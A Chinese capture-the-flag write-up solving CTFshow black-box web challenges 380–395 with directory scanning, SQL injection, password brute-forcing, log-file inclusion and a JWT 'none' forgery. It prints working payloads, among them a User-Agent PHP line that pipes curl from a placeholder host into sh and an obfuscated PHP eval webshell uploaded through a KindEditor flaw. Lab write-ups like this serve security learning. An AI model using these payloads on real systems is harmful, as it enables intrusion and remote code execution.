CTFshow 黑盒测试

目录

    • web380-dirsearch扫目录
    • web381-源码找后台
    • web382-sql注入
    • web383-sql注入+
    • web384-sql注入++
    • web385-敏感文件
    • web386-敏感文件+
    • web387-日志包含
    • web388-日志包含+
    • web389-JWT伪造(非预期)
    • web390-做法与上题一致
    • web391-做法与上题一致
    • web392-预期解
    • web393-同上
    • web394-同上
    • web395-同上
    • 总结:

web380-dirsearch扫目录

简单的看了一下,没有发现可以交互的地方,先扫描一下目录吧

python3 dirsearch.py -u http://1b98d9d4-b675-40d5-8822-202d7fa11ace.challenge.ctf.show/

扫描出两个目录flag.php和page.php。

先访问flag.php为空,查看源代码为空。

访问page.php,出现报错,应该需要传一个id参数,访问对应的php文件。

Notice: Undefined index: id in /var/www/html/page.php on line 16
打开$id.php失败

Payload:

右键查看源代码即可获得flag

http://1b98d9d4-b675-40d5-8822-202d7fa11ace.challenge.ctf.show/page.php?id=flag

web381-源码找后台

界面跟上题差不多,先扫目录,还是page.php,不过没扫出来flag.php,上题的思路行不通。

检查源代码发现一个奇怪的目录,alsckdfy,访问试试,得到flag。




web382-sql注入

按照上题思路获得后台地址后,尝试登录

Payload:

一句话搞定

1' or 1=1#

web383-sql注入+

用上面的payload即可

web384-sql注入++

根据提示密码前两位为小写字母,后三位为数字

字典生成脚本

import string
s1=string.ascii_lowercase
s2=string.digits
f=open('dict.txt','w')
for i in s1:
	for j in s1:
		for k in s2:
			for l in s2:
				for m in s2:
					p=i+j+k+l+m
					f.write(p+"\n")
f.close()

用户名我们就默认为admin,爆出来的密码为xy123。

web385-敏感文件

扫目录发现/install

请务必在安装成功后删除本文件
需要重新安装请访问install/?install,管理员密码将重置为默认密码

在382中我们可以sql注入,查询数据库发现用户名密码为admin:admin888,猜测admin888就是默认密码。

web386-敏感文件+

扫描目录发现clear.php,直接访问显示清理完成,猜测有个参数指定要清理的文件。

/clear.php?file=index.php

再次访问index.php发现文件已被删除,我们将lock.dat文件删除即可,后续步骤与上题一致。

Payload:

/clear.php?file=./install/lock.dat

web387-日志包含

扫描目录发现robots.txt

disallow:/debug

访问/debug显示file not exit,根据前面几题的经验猜测需要传file参数

/debug/?file=/var/log/nginx/access.log

发现日志包含成功,反弹shell,在check.php中发现flag。

User-Agent:<?php system('curl https://your-shell.com/xxxx:6666 | sh');?>

web388-日志包含+

这题对写日志做了一些限制,但反弹shell依然可以成功,与上题一样。

web389-JWT伪造(非预期)

将alg改为none,sub改为admin,这样的话就不需要校验签名了。

脚本:

import jwt
 
# payload
token_dict = {
  "iss": "admin",
  "iat": 1669958188,
  "exp": 1669965388,
  "nbf": 1669958188,
  "sub": "admin",
  "jti": "9859b26b89e203ab6f26445677c1e933"
}
# headers
headers = {
  "alg": "none",
  "typ": "JWT"
}

jwt_token = jwt.encode(token_dict,  # payload, 有效载体 
					 key='',
                       headers=headers,  # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
 					   algorithm="none",  # 指明签名算法方式, 默认也是HS256
                       ).decode('ascii')  # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str

print(jwt_token)

Payload:

若在网站根目录写入1.html会重定向,我们可以将2.html写入/alsckdfy/目录下即可正常访问

User-Agent :  /var/www/html/alsckdfy/1.html');?>

web390-做法与上题一致

web391-做法与上题一致

由于389开始用的都是非预期的解法,所以步骤都一样,想看预期解可以去b站看群主的视频。

web392-预期解

flag不在check.php中,换思路。

扫/alsckdfy/目录发现存在/alsckdfy/editor/,打开发现是Kindeditor编辑器。

kindeditor编辑器版本小于4.1.5存在文件上传漏洞,可利用该漏洞上次网页、文本文件。

上传一句话木马,后缀修改为.zip


#这样写起到了免杀的效果
$s='.'p ev'.'al($_PO'.'ST[1])'.';?>';
file_put_contents('/var/www/html/2.php',$s);
?>

上传成功后编辑器会返回上传路径,利用返回的路径去dubug进行文件包含。

/debug/?file=/var/www/html/alsckdfy/attached/file/20221202/20221202082119_17656.zip

web393-同上

web394-同上

解法一样,不过flag不在根目录了,在check.php中。

web395-同上

总结:

很多题我都用了同一种解法,其实题目的解法有好几种,sql注入,文件包含,SSRF都可以使用。

本文章仅做参考。

你可能感兴趣的:(php,开发语言,web安全)